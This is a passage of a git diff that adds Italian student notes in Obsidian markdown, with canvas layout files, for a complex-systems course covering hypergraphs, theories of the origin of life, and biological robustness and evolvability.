+		{"id":"514b6c5bdcde98d0","fromNode":"6c2e21eb331f5cd5","fromSide":"top","toNode":"733461d917046848","toSide":"bottom"},
+		{"id":"abc0a5a3364f8f43","fromNode":"733461d917046848","fromSide":"top","toNode":"de40e376c53b5bdf","toSide":"bottom"},
+		{"id":"21c0388687023a7e","fromNode":"f7793d093bef2904","fromSide":"bottom","toNode":"23f0482a49f7defc","toSide":"top"},
+		{"id":"53f87d41c37e92c2","fromNode":"6c2e21eb331f5cd5","fromSide":"left","toNode":"c118a4867a7be34d","toSide":"right"},
+		{"id":"bade4f37ea325fa3","fromNode":"2a293cc183750ff1","fromSide":"left","toNode":"c8dc15e8b41ca15c","toSide":"right"},
+		{"id":"88f91e4b43388038","fromNode":"c8dc15e8b41ca15c","fromSide":"left","toNode":"ac6748810a3e351f","toSide":"right"},
+		{"id":"660f3021747df6e1","fromNode":"c8dc15e8b41ca15c","fromSide":"left","toNode":"415c9835a616cc34","toSide":"right"},
+		{"id":"708c13ea92f7a9d4","fromNode":"2a293cc183750ff1","fromSide":"left","toNode":"a1727a8f2725bb6a","toSide":"right"},
+		{"id":"7e067e7595844d3e","fromNode":"f6ffdc5ed80e0b25","fromSide":"right","toNode":"9005d41bfc560766","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/★ ipergrafi.canvas b/8 - Sistemi complessi/4 - Grafi/★ ipergrafi.canvas
new file mode 100644
index 0000000..ae617d1
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/★ ipergrafi.canvas	
@@ -0,0 +1,13 @@
+{
+	"nodes":[
+		{"id":"c188dbf313d459d7","type":"file","file":"8 - Sistemi complessi/4 - Grafi/ipergrafo.md","x":-320,"y":-400,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"90af73a6d8ea19dc","type":"file","file":"8 - Sistemi complessi/4 - Grafi/eccentricità di un nodo.md","x":-320,"y":160,"width":400,"height":400},
+		{"id":"fef8f9c8bfe96648","type":"file","file":"8 - Sistemi complessi/4 - Grafi/iperrete.md","x":-320,"y":-960,"width":400,"height":400},
+		{"id":"93b988b74103f46d","type":"file","file":"8 - Sistemi complessi/4 - Grafi/iperarco.md","x":-880,"y":-400,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"78f5d19ee9378a3f","fromNode":"c188dbf313d459d7","fromSide":"bottom","toNode":"90af73a6d8ea19dc","toSide":"top"},
+		{"id":"7cad2504f7d775c9","fromNode":"c188dbf313d459d7","fromSide":"left","toNode":"93b988b74103f46d","toSide":"right"},
+		{"id":"d66b40752cae172c","fromNode":"c188dbf313d459d7","fromSide":"top","toNode":"fef8f9c8bfe96648","toSide":"bottom"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/5 - Origine della vita/catalizzatore.md b/8 - Sistemi complessi/5 - Origine della vita/catalizzatore.md
new file mode 100644
index 0000000..c860e44
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/catalizzatore.md	
@@ -0,0 +1 @@
+[[Insieme]] di [[molecola|molecole]] richieste nell'ambiente per accelerare <small>(o rallentare, ma non si considera quasi mai l'opzione)</small> una [[reazione chimica]], ma che non vengono consumate.
diff --git a/8 - Sistemi complessi/5 - Origine della vita/gene duplication.md b/8 - Sistemi complessi/5 - Origine della vita/gene duplication.md
new file mode 100644
index 0000000..cbed8e6
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/gene duplication.md	
@@ -0,0 +1 @@
+[[Variazione]] casuale in cui una stringa di [[nucleotide|nucleotidi]] si duplica.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/5 - Origine della vita/insieme auto-catalitico riflessivo generato da cibo.md b/8 - Sistemi complessi/5 - Origine della vita/insieme auto-catalitico riflessivo generato da cibo.md
new file mode 100644
index 0000000..7789ff2
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/insieme auto-catalitico riflessivo generato da cibo.md	
@@ -0,0 +1,5 @@
+Uno degli obiettivi della ricerca sui [[sistema complesso|sistemi complessi]].
+
+Trovare una sequenza di [[reazione chimica|reazioni chimiche]] che, partendo da un insieme detto *insieme cibo*, determini un ciclo, con ciascuna reazione [[catalizzatore|catalizzata]] da almeno una [[molecola]] dell'insieme stesso.
+
+#TODO C'è altro?
\ No newline at end of file
diff --git a/8 - Sistemi complessi/5 - Origine della vita/insieme auto-replicante.md b/8 - Sistemi complessi/5 - Origine della vita/insieme auto-replicante.md
new file mode 100644
index 0000000..378a219
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/insieme auto-replicante.md	
@@ -0,0 +1,3 @@
+Uno degli obiettivi della ricerca sui [[sistema complesso|sistemi complessi]].
+
+Trovare una sequenza di [[reazione chimica|reazioni chimiche]] che, partendo da una determinata molecola, ne crea una copia.
diff --git a/8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman gene-RBN.md b/8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman gene-RBN.md
new file mode 100644
index 0000000..57c05d5
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman gene-RBN.md	
@@ -0,0 +1,3 @@
+[[Modello]] che utilizza una [[random boolean network]] per rappresentare l'attivazione dei [[gene|geni]].
+
+#TODO 
\ No newline at end of file
diff --git a/8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman per gli insiemi auto-replicanti.md b/8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman per gli insiemi auto-replicanti.md
new file mode 100644
index 0000000..9ce09b9
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman per gli insiemi auto-replicanti.md	
@@ -0,0 +1,11 @@
+[[Modello]] di [[insieme auto-replicante|insiemi auto-replicanti]] sviluppato da [[Stuart Kauffman]].
+
+## Funzionamento
+
+Definisce le [[molecola|molecole]] come stringhe di testo, che a ogni [[iterazione]] possono:
+- concatenarsi una all'altra
+- dividersi in due parti eterogenee
+
+## Risultati
+
+Aumentando la lunghezza massima delle stringhe, il numero di reazioni e polimeri possibili aumentano, ma a velocità diverse uno dall'altro, permettendo al numero di reazioni di eventualmente superare quello dei polimeri, raggiungendo un [[criticità|livello critico]] in cui si forma un [[insieme auto-replicante]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/5 - Origine della vita/substrato.md b/8 - Sistemi complessi/5 - Origine della vita/substrato.md
new file mode 100644
index 0000000..223abdf
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/substrato.md	
@@ -0,0 +1 @@
+[[Insieme]] di [[molecola|molecole]] consumate da una [[reazione chimica]].
diff --git a/8 - Sistemi complessi/5 - Origine della vita/★ geni come random boolean network.canvas b/8 - Sistemi complessi/5 - Origine della vita/★ geni come random boolean network.canvas
new file mode 100644
index 0000000..53a6af8
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/★ geni come random boolean network.canvas	
@@ -0,0 +1,6 @@
+{
+	"nodes":[
+		{"type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman gene-RBN.md","id":"fcee3076c33155dc","x":-160,"y":-320,"width":400,"height":400,"color":"3"}
+	],
+	"edges":[]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/5 - Origine della vita/★ insiemi auto-replicanti.canvas b/8 - Sistemi complessi/5 - Origine della vita/★ insiemi auto-replicanti.canvas
new file mode 100644
index 0000000..7292025
--- /dev/null
+++ b/8 - Sistemi complessi/5 - Origine della vita/★ insiemi auto-replicanti.canvas	
@@ -0,0 +1,15 @@
+{
+	"nodes":[
+		{"id":"cc9e909c8734cf67","type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/insieme auto-replicante.md","x":-400,"y":-120,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"0fea852d1179a445","type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman per gli insiemi auto-replicanti.md","x":-400,"y":-680,"width":400,"height":400},
+		{"id":"aeaa94b740eb9e0a","type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/insieme auto-catalitico riflessivo generato da cibo.md","x":160,"y":-120,"width":400,"height":400,"color":"3"},
+		{"id":"ea085e7545050c6a","type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/substrato.md","x":720,"y":-680,"width":400,"height":400},
+		{"id":"dbcfb1b71d832e2d","type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/catalizzatore.md","x":720,"y":-120,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"d8533dea35ae3e2a","fromNode":"cc9e909c8734cf67","fromSide":"top","toNode":"0fea852d1179a445","toSide":"bottom"},
+		{"id":"133654a179197f4c","fromNode":"cc9e909c8734cf67","fromSide":"right","toNode":"aeaa94b740eb9e0a","toSide":"left"},
+		{"id":"23241eb6d37fa4b3","fromNode":"aeaa94b740eb9e0a","fromSide":"right","toNode":"dbcfb1b71d832e2d","toSide":"left"},
+		{"id":"c60c0326f7af8613","fromNode":"aeaa94b740eb9e0a","fromSide":"right","toNode":"ea085e7545050c6a","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/canalizzazione.md b/8 - Sistemi complessi/6 - Robustezza/canalizzazione.md
new file mode 100644
index 0000000..82360b7
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/canalizzazione.md	
@@ -0,0 +1,5 @@
+[[Caratteristica]] di un [[sistema biologico]].
+
+Rappresenta quanto è difficile per il [[fenotipo]] provare ad adeguarsi a un nuovo [[ambiente]].
+
+È l'opposto della [[plasticità fenotipica]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/cromosoma.md b/8 - Sistemi complessi/6 - Robustezza/cromosoma.md
new file mode 100644
index 0000000..22fd6a4
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/cromosoma.md	
@@ -0,0 +1 @@
+[[lista|sequenza]] di [[gene|geni]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/crossover.md b/8 - Sistemi complessi/6 - Robustezza/crossover.md
new file mode 100644
index 0000000..aa8eb71
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/crossover.md	
@@ -0,0 +1 @@
+[[Variazione]] casuale che avviene quando i [[nucleotide|nucleotidi]] di due diverse stringhe di [[DNA]] si combinano insieme.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/degenerazione.md b/8 - Sistemi complessi/6 - Robustezza/degenerazione.md
new file mode 100644
index 0000000..83a7307
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/degenerazione.md	
@@ -0,0 +1,5 @@
+[[Caratteristica]] di un [[sistema complesso]].
+
+È la presenza di più [[parte di un sistema complesso|parti]] **diverse** che realizzano uno stesso scopo.
+
+È teorizzato che sia una fonte di innovazione nei [[sistema biologico|sistemi biologici]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/evolvibilità.md b/8 - Sistemi complessi/6 - Robustezza/evolvibilità.md
new file mode 100644
index 0000000..3fc6875
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/evolvibilità.md	
@@ -0,0 +1 @@
+#TODO Eh?
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/fenotipo.md b/8 - Sistemi complessi/6 - Robustezza/fenotipo.md
new file mode 100644
index 0000000..189cd51
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/fenotipo.md	
@@ -0,0 +1,3 @@
+Parte di [[proteoma]] di un [[individuo]].
+
+Ne determina i [[tratto|tratti]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/fitness.md b/8 - Sistemi complessi/6 - Robustezza/fitness.md
new file mode 100644
index 0000000..42181c3
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/fitness.md	
@@ -0,0 +1,3 @@
+Punteggio che modella quanto i [[tratto|tratti]] di un [[individuo]] si integrano bene in un [[sistema biologico]].
+
+Spesso usato come confronto per determinare gli individui di una [[popolazione]] che non propagheranno i loro geni durante un'[[iterazione]] di [[selezione naturale]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/gene.md b/8 - Sistemi complessi/6 - Robustezza/gene.md
new file mode 100644
index 0000000..e52ccb4
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/gene.md	
@@ -0,0 +1 @@
+[[lista|sequenza]] di [[nucleotide|nucleotidi]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/genoma.md b/8 - Sistemi complessi/6 - Robustezza/genoma.md
new file mode 100644
index 0000000..94554a2
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/genoma.md	
@@ -0,0 +1 @@
+[[Insieme]] di **tutti i [[gene|geni]] ereditabili** appartenenti a un [[individuo]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/genotipo.md b/8 - Sistemi complessi/6 - Robustezza/genotipo.md
new file mode 100644
index 0000000..8e12a53
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/genotipo.md	
@@ -0,0 +1 @@
+Parte di [[genoma]] di un [[individuo]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/individuo.md b/8 - Sistemi complessi/6 - Robustezza/individuo.md
new file mode 100644
index 0000000..90240b6
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/individuo.md	
@@ -0,0 +1 @@
+[[essere vivente]] con una [[sequenza]] di [[cromosoma|cromosomi]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/modello duplication-degeneracy-complementation.md b/8 - Sistemi complessi/6 - Robustezza/modello duplication-degeneracy-complementation.md
new file mode 100644
index 0000000..31c11dc
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/modello duplication-degeneracy-complementation.md	
@@ -0,0 +1,3 @@
+[[Modello]] relativo alla [[degenerazione]].
+
+Ipotizza che [[gene|geni]] [[pleiotropia|multi-funzione]] [[degenerazione|degenerati]] che si duplicano nel corso dell'evoluzione di un [[sistema biologico]] [[mutazione|mutino]] per specializzarsi, introducendo innovazione. 
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/nucleotide.md b/8 - Sistemi complessi/6 - Robustezza/nucleotide.md
new file mode 100644
index 0000000..edae9bd
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/nucleotide.md	
@@ -0,0 +1,3 @@
+Unità minima di un [[gene]].
+
+Nel [[DNA]] può prendere i valori: `A` `T` `C` `G`.
diff --git a/8 - Sistemi complessi/6 - Robustezza/omeostasi.md b/8 - Sistemi complessi/6 - Robustezza/omeostasi.md
new file mode 100644
index 0000000..24c6e57
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/omeostasi.md	
@@ -0,0 +1 @@
+[[Congettura]] che il [[genoma]] si [[auto-organizzazione|auto-organizzi]] per raggiungere un [[proteoma]] stabile, e che quindi esistano vari [[attrattore|attrattori]] per esso.
diff --git a/8 - Sistemi complessi/6 - Robustezza/paradosso dell'evolvibilità.md b/8 - Sistemi complessi/6 - Robustezza/paradosso dell'evolvibilità.md
new file mode 100644
index 0000000..f2ae740
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/paradosso dell'evolvibilità.md	
@@ -0,0 +1,3 @@
+[[Paradosso]].
+
+L'[[evoluzione naturale]] porta solo a miglioramenti finiti e di breve impatto, ma la [[complessità]] della [[vita]] è in continuo aumento.
diff --git a/8 - Sistemi complessi/6 - Robustezza/plasticità fenotipica.md b/8 - Sistemi complessi/6 - Robustezza/plasticità fenotipica.md
new file mode 100644
index 0000000..73ce1cc
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/plasticità fenotipica.md	
@@ -0,0 +1,5 @@
+[[Caratteristica]] di un [[sistema biologico]].
+
+Rappresenta quanto è facile che il [[fenotipo]] subisca modifiche per adeguarsi a un nuovo [[ambiente]] con cui altrimenti sarebbe incompatibile.
+
+È l'opposto della [[canalizzazione]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/pleiotropia.md b/8 - Sistemi complessi/6 - Robustezza/pleiotropia.md
new file mode 100644
index 0000000..3c50e95
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/pleiotropia.md	
@@ -0,0 +1,3 @@
+Capacità di un [[gene]] di influenzare più [[tratto|tratti]] diversi.
+
+Non è detto che l'influenza di ciascun gene sia distribuita ugualmente fra tutti i tratti; l'effetto può essere anche minore, e la combinazione di vari geni fare il resto.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/point mutation.md b/8 - Sistemi complessi/6 - Robustezza/point mutation.md
new file mode 100644
index 0000000..d903564
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/point mutation.md	
@@ -0,0 +1 @@
+[[Variazione]] casuale di un singolo [[nucleotide]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/popolazione.md b/8 - Sistemi complessi/6 - Robustezza/popolazione.md
new file mode 100644
index 0000000..129c0a5
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/popolazione.md	
@@ -0,0 +1 @@
+[[Insieme]] di [[individuo|individui]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/proteoma.md b/8 - Sistemi complessi/6 - Robustezza/proteoma.md
new file mode 100644
index 0000000..eee7ca7
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/proteoma.md	
@@ -0,0 +1 @@
+[[Insieme]] delle [[proteina|proteine]] formate da un [[genoma]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/rete neutrale.md b/8 - Sistemi complessi/6 - Robustezza/rete neutrale.md
new file mode 100644
index 0000000..d2606b8
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/rete neutrale.md	
@@ -0,0 +1 @@
+[[Componente di un grafo|Componente]] di una [[rete regolatrice di geni]] con [[fitness]] complessivo costante.
diff --git a/8 - Sistemi complessi/6 - Robustezza/rete regolatrice di geni.md b/8 - Sistemi complessi/6 - Robustezza/rete regolatrice di geni.md
new file mode 100644
index 0000000..bfe1a74
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/rete regolatrice di geni.md	
@@ -0,0 +1,19 @@
+---
+aliases:
+  - GRN
+  - gene regulatory network
+---
+[[rete]] [[genoma|genomica]] che determina la [[robustezza biologica]] degli [[individui]] di un [[sistema biologico]] e la loro [[evolvibilità|possibilità di evolvere]] nuovi [[tratto|tratti]].
+
+## Composizione
+
+I [[nodo di un grafo|nodi]] sono composti dalla tupla:
+1. [[genotipo]]
+2. [[fenotipo]]
+3. [[ambiente]]
+
+Gli [[arco di un grafo|archi]] rappresentano le variazioni possibili
+
+## Studio
+
+Viene studiata investigando l'associazione tra il [[genotipo]] e il [[fenotipo]] di ciascun [[tratto]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/ridondanza.md b/8 - Sistemi complessi/6 - Robustezza/ridondanza.md
new file mode 100644
index 0000000..37bf1b8
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/ridondanza.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]] di un [[sistema complesso]].
+
+È la presenza di più [[parte di un sistema complesso|parti]] **identiche** con lo stesso scopo.
diff --git a/8 - Sistemi complessi/6 - Robustezza/robustezza biologica.md b/8 - Sistemi complessi/6 - Robustezza/robustezza biologica.md
new file mode 100644
index 0000000..75ce107
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/robustezza biologica.md	
@@ -0,0 +1,3 @@
+[[robustezza]] applicata al [[fenotipo]] degli [[individuo|individui]] di un [[sistema biologico]].
+
+Consiste in un equilibrio tra [[plasticità fenotipica]] e [[canalizzazione]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/robustezza differenziale.md b/8 - Sistemi complessi/6 - Robustezza/robustezza differenziale.md
new file mode 100644
index 0000000..4188d67
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/robustezza differenziale.md	
@@ -0,0 +1,3 @@
+[[Misura]] di [[robustezza biologica]] per un [[genotipo]] in una [[rete neutrale]].
+
+#TODO Il prof non ha elaborato oltre...
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/robustezza distribuita.md b/8 - Sistemi complessi/6 - Robustezza/robustezza distribuita.md
new file mode 100644
index 0000000..6786c0d
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/robustezza distribuita.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]] di un [[sistema complesso]].
+
+È la presenza di più [[parte di un sistema complesso|parti]] **diverse** con lo stesso scopo.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/robustezza locale.md b/8 - Sistemi complessi/6 - Robustezza/robustezza locale.md
new file mode 100644
index 0000000..af6c3b9
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/robustezza locale.md	
@@ -0,0 +1,5 @@
+[[Misura]] di [[robustezza biologica]] per un [[genotipo]] in una [[rete neutrale]].
+
+Quanto è facile che il [[fenotipo]] risultante dal [[genotipo]] in questione non venga perso in seguito a un cambiamento.
+
+Corrisponde al numero di [[genotipo|genotipi]] nel vicinato del [[genotipo]] in questione che fanno essi stessi della [[rete neutrale]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/robustezza.md b/8 - Sistemi complessi/6 - Robustezza/robustezza.md
new file mode 100644
index 0000000..ff1f171
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/robustezza.md	
@@ -0,0 +1,5 @@
+[[Caratteristica]] di un [[sistema dinamico]].
+
+È l'[[insensibilità]] a condizioni variabili.
+
+Nei [[sistema complesso|sistemi complessi]], si riferisce alla caratteristica di non [[fallimento a cascata|fallire a cascata]] in caso di malfunzionamento di alcune [[parte di un sistema complesso|parti]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/tolleranza altamente ottimizzata.md b/8 - Sistemi complessi/6 - Robustezza/tolleranza altamente ottimizzata.md
new file mode 100644
index 0000000..060b51a
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/tolleranza altamente ottimizzata.md	
@@ -0,0 +1,13 @@
+[[Modello]] contrapposto alla [[degenerazione]].
+
+Ipotizza che tutti i [[sistema complesso|sistemi complessi]] siano funzionalmente equivalenti, ma che l'aumentare della complessità ne incrementi la [[robustezza]] alle situazioni più comuni.
+
+Aumenta anche però la possibilità di [[fallimento a cascata]] causato dalle situazioni più rare.
+
+Implica, quindi, che la [[robustezza]] nei [[sistema complesso|sistemi complessi]] è la quantità *limitata* da cui deriva la [[legge di potenza]], e che il [[fitness]] si ottiene distribuendola adeguatamente.
+
+## Esempi
+
+- Batteri (E. coli) più complessi possono sopravvivere in più ambienti
+- Reti informatiche più grandi (cloud) sono più robuste relativamente a necessità variabili
+- Aeroplani senza funzionalità di sicurezza possono essere costruiti con molti meno componenti
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/tratto.md b/8 - Sistemi complessi/6 - Robustezza/tratto.md
new file mode 100644
index 0000000..3d1cae7
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/tratto.md	
@@ -0,0 +1 @@
+Caratteristica [[macroscopico|macroscopica]] in cui un [[individuo]] si differenzia dal resto della [[popolazione]].
diff --git a/8 - Sistemi complessi/6 - Robustezza/versatilità.md b/8 - Sistemi complessi/6 - Robustezza/versatilità.md
new file mode 100644
index 0000000..92f9034
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/versatilità.md	
@@ -0,0 +1 @@
+#TODO Il prof ha droppato questo titolo e poi non ha detto niente
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/★ robustezza.canvas b/8 - Sistemi complessi/6 - Robustezza/★ robustezza.canvas
new file mode 100644
index 0000000..935cdd7
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/★ robustezza.canvas	
@@ -0,0 +1,73 @@
+{
+	"nodes":[
+		{"id":"8b504cf4d4fa11b5","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/point mutation.md","x":1360,"y":240,"width":400,"height":400},
+		{"id":"5ec21f3d7cf3a0c5","type":"file","file":"8 - Sistemi complessi/5 - Origine della vita/gene duplication.md","x":1360,"y":-320,"width":400,"height":400},
+		{"id":"2e29ffe6701c45cb","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/crossover.md","x":1360,"y":-880,"width":400,"height":400},
+		{"id":"e0982bf31e8e53cf","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/plasticità fenotipica.md","x":1360,"y":1360,"width":400,"height":400},
+		{"id":"3ffe67dc4081b537","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/canalizzazione.md","x":1360,"y":800,"width":400,"height":400},
+		{"id":"ef6bb629f47611fc","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/nucleotide.md","x":240,"y":-320,"width":400,"height":400},
+		{"id":"0a8ffaa6eaa6907b","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/gene.md","x":240,"y":-880,"width":400,"height":400},
+		{"id":"971acbd07fb532b4","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/cromosoma.md","x":240,"y":-1440,"width":400,"height":400},
+		{"id":"0338599c6c87c3a8","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/individuo.md","x":240,"y":-2000,"width":400,"height":400},
+		{"id":"4c39f84b6d0dab5f","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/popolazione.md","x":240,"y":-2560,"width":400,"height":400},
+		{"id":"839803ae0eef40bb","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/robustezza.md","x":240,"y":1360,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"1393dfcad4418860","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/robustezza distribuita.md","x":-320,"y":1360,"width":400,"height":400},
+		{"id":"c7f96d00cacded7d","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/ridondanza.md","x":-320,"y":1920,"width":400,"height":400},
+		{"id":"721e324b5696e8ae","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/robustezza biologica.md","x":800,"y":1360,"width":400,"height":400},
+		{"id":"d304cee592ecd198","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/genoma.md","x":-320,"y":-2000,"width":400,"height":400},
+		{"id":"0d0887dbf7ce55cb","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/genotipo.md","x":-880,"y":-2000,"width":400,"height":400},
+		{"id":"8c68b738cdefcede","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/degenerazione.md","x":-320,"y":800,"width":400,"height":400},
+		{"id":"e1e561a591d05395","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/pleiotropia.md","x":-320,"y":-880,"width":400,"height":400},
+		{"id":"857ee6d8d0e6f2ad","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/proteoma.md","x":-320,"y":-1440,"width":400,"height":400},
+		{"id":"e251611652512eff","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/fenotipo.md","x":-880,"y":-1440,"width":400,"height":400},
+		{"id":"027b576a0d9e22d1","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/tratto.md","x":-1440,"y":-1440,"width":400,"height":400},
+		{"id":"f531b58d3702d622","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/fitness.md","x":-1440,"y":-2560,"width":400,"height":400},
+		{"id":"d3056252458759b0","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/omeostasi.md","x":-320,"y":-2560,"width":400,"height":400},
+		{"id":"4f1c3ef0dd62a909","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/rete regolatrice di geni.md","x":800,"y":800,"width":400,"height":400},
+		{"id":"9d9aec826725b14c","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/rete neutrale.md","x":240,"y":800,"width":400,"height":400},
+		{"id":"8653cb64ef70b233","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/robustezza locale.md","x":240,"y":240,"width":400,"height":400},
+		{"id":"60a8adf6553c6ffc","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/paradosso dell'evolvibilità.md","x":800,"y":-320,"width":400,"height":400},
+		{"id":"e716d43c5583a184","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/evolvibilità.md","x":800,"y":240,"width":400,"height":400,"color":"3"},
+		{"id":"8628bfcc48d0be41","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/robustezza differenziale.md","x":-320,"y":240,"width":400,"height":400,"color":"3"},
+		{"id":"d8c7c2b5ef8db5ef","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/versatilità.md","x":-880,"y":240,"width":400,"height":400,"color":"3"},
+		{"id":"a363e637dce890c3","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/modello duplication-degeneracy-complementation.md","x":-880,"y":800,"width":400,"height":400},
+		{"id":"7eb9e8c9322d1f04","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/tolleranza altamente ottimizzata.md","x":-880,"y":1360,"width":400,"height":400},
+		{"id":"dc9380f63df2e093","type":"file","file":"8 - Sistemi complessi/6 - Robustezza/🞵 parentesi anti-eugenica.md","x":-2000,"y":-2560,"width":400,"height":400,"color":"#000000"}
+	],
+	"edges":[
+		{"id":"487c63bdb636f3a6","fromNode":"839803ae0eef40bb","fromSide":"left","toNode":"1393dfcad4418860","toSide":"right"},
+		{"id":"06a81c8e1683632f","fromNode":"839803ae0eef40bb","fromSide":"left","toNode":"c7f96d00cacded7d","toSide":"right"},
+		{"id":"6dbce620baa9a34d","fromNode":"1393dfcad4418860","fromSide":"left","toNode":"7eb9e8c9322d1f04","toSide":"right"},
